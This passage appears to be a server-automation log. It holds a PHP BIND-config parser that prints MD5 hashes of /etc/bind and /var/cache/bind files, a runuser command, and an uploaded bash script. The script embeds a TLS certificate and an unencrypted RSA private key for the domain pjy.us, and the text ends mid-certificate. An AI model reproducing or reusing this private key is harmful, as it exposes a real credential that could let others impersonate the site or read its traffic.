	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-12 19:28:06: 

runuser -l bind -s /bin/bash -c '/tmp/pkp588927; rm /tmp/pkp588927'

2026-07-12 19:28:06: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-12 19:28:10: Establishing a connection
2026-07-12 19:28:11: 

PUT: /tmp/pkp351499

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb

cat > $temp_file <<'endmsg'
d4:51:8a:b8:c6:24:4c:f7:f7:d3:80:47:41:76:07:81

-----BEGIN CERTIFICATE-----
MIIE8DCCA9igAwIBAgISBUbt+sco/gvCpPdzrog4aKrfMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzEyMTgyNTQ0WhcNMjYxMDEwMTgyNTQzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQClN8FafKgi
7L8W3G+t1IH8s2SE5tn6ylcsvDt2kPB1rrgdMI2wDFTWwaAVAqxVq1gFGBSLVxTy
E4R5Fp8I9zc5aX/2pXSZdD+Nen8ryMWfNrtsJ51ucFl9tEIl5czAYZymlTmVawJ+
aba20JBjm0wUIeyq2w/flvSWVTa5HREw+3BeRiOiq9yKHhPjSNBvM4IUSYq4LL3t
hWpKcK7j16DPEOmGnuGaJ/hG+xYwB0S7PcshwDIemUs/VcgbeL7s0Vjz5ZvwX/C7
LjG7zYv5Gqm6YAh9QJioQYLa2mfzS9oFu4I8YWQHCO9SPTRmiDn1qkzQjCkDlBmN
lpcDJvr5FssJAgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUTimE9MKA7nzZlpSC
M7nCLUjpVmcwHwYDVR0jBBgwFoAUQBUtJnntMiCe35pyHdYyH4EMgQwwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly95cjIuYy5sZW5jci5vcmcvOTYuY3Js
MIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHUA1219ENGn9XfCx+lf1wC/+YLJM1pl
4dCzAXMXwMjFaXcAAAGfV8mMQgAABAMARjBEAiBavY0/CYjcElMAnkc5F5a6LEW+
1QxYAelfuJjvCHEHrQIgQt782nPAE5o93gBn27TgsuNJ/pI7zkVziWst0duBBgIA
fwCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPEHdlteQCzEjxVJwAAAZ9XyYxPAAgAAAUA
E8IV5wQDAEgwRgIhANoe1e7v4GVpJjz6gkxEc4z7prQdil2KdU/A563FsRvNAiEA
p57V1t8Mj4YZtKTMbW99ggBECzKSc2wwPiCWw8C9C6AwDQYJKoZIhvcNAQELBQAD
ggEBALC1rUXM/QYThDWMLus3GRdWniE98Y7qJG7oFFujdlBupn2l2HuRFG1YXBKw
ENku1YHR+L4mvs29Sx6Q290WXrCYMQ/4o1ZgzX1MnH5q9QE3GjR1UpzMcQ5RRjyz
LUPRMF2eMRkwISK7VOSnjwHLYs5H+YkB1rumm/W4+gqgIaurFJvPy3zOB/A7aT+f
bDcoV9v4EWE3B9VXlFYJYuPBILPxY4QwSDMupcTcop41/1FaWeud+ThYfJvYitj/
5yP7GAAB7+rUtT9Q0NpNZB2m8JVcu0e+xMp6Z+NIxkVxZI8UTDrCxErT/bt5zPWT
FU9rAeW3fxzLLMRU2ogcQn6ysME=
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQClN8FafKgi7L8W
3G+t1IH8s2SE5tn6ylcsvDt2kPB1rrgdMI2wDFTWwaAVAqxVq1gFGBSLVxTyE4R5
Fp8I9zc5aX/2pXSZdD+Nen8ryMWfNrtsJ51ucFl9tEIl5czAYZymlTmVawJ+aba2
0JBjm0wUIeyq2w/flvSWVTa5HREw+3BeRiOiq9yKHhPjSNBvM4IUSYq4LL3thWpK
cK7j16DPEOmGnuGaJ/hG+xYwB0S7PcshwDIemUs/VcgbeL7s0Vjz5ZvwX/C7LjG7
zYv5Gqm6YAh9QJioQYLa2mfzS9oFu4I8YWQHCO9SPTRmiDn1qkzQjCkDlBmNlpcD
Jvr5FssJAgMBAAECggEAM1cBCWpFIR0qQCNdvMmVXv4r1TSbNdhcgHU5kR1260rQ
wZlN3g/m6Rkf8odzH+fvoR2bfLUhuBuihbIm1zVi/r8u2WkOs4SxHviavfNUnaX3
VaN1w1S8KliyWW5wUrPCZu1mCG1JSBj3gxWKWLlwSa1FCs6pvxP8ix6Ns7Y5mlt3
cgrbPrcIOmX+CB3C7/LDPBZprJb5UtpT2s+1NBPdCwWx7OEXphhnDh3Em/43dVXz
2lQEa5RKqleRntsMU1p1IUKzO8PQEg6jP80IfidgOg9iMu9bTNE2lrrhFmcJMUGL
vvpQuZnmicTMamuIFENu7qMgzRo6U0BPqoh1WmCMdQKBgQDhkOJw8USu2NeAwfPm
AKU5we/ZeqGWUzeG35Qd7KPnN6oKV1mwZShQbp7kBR3OYAjFfaDqIYGSW4cvUkjE
/JJ+CfPPWjpWpmMP4QKjKbgr3wvlbAz7HTp9svcFbus3R+Bt4QJk8n+fH8HYtx36
RQvm+H/b5ZXIuDYDL/S853IhmwKBgQC7gm1frqWHgQB5yVpOz8fNnz/DINluzgLv
AXmsXBFOIHzFO1NDvwxWZNBDfi6E+0NjSdeE1dnVive9pmvcPd8i+NSKjCCmsO+4
q8mi1wEQlnWVhLSstq255XwIIYvFPoTe0ySScj4DghmIEbe6RK5l0WKHqwXAjgsy
9T+YBq7SKwKBgFFm+wEtYM8EvEjgNcfEZdxBK/C9O8FHSNuopghilQflY70Vpu1s
pC7arQa2/fmzWJcE7mRwMRWDaHbgaBiG2csYhl9HPZR1uXxKhKwjay6R8PYbl1es
RaaFRnY0gDhT/R9KO5X4mavwRwGRnATslA4HkgTmhraIHB3sWZMup1aPAoGATBml
Fh4lZBdBACxuEGpXpuYo1KKyXDwUCLhKj19WTqT0vn9TTb1t3mpP8/R0INhxAwzn
ASxhmj8qSLgQMnSR6PmgGRLB9aT9xa9CyGoGLptB4YrYYPhLDZVLf2lN9qFm/6Al
yaG/9WCJyCWYsWpKdVxDZthMH1gGx4mtY5/it70CgYEAwqFv6T8bHK5M1/IhlPvI
4qI+8UJUKDah/MdKpxyKOprJFRO/Qkpt6u8yO3u5AWMZQ2c/Qj4bgp4JQPz5rrC+
WVRspsvXXP0a1GoQNCiam0l6pMb03P5Xk9UL3UBa/KtdUe5++JZ6382zDK343hMW
fwuQXiU2uO1rmyfKYa869Ng=
-----END PRIVATE KEY-----



-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
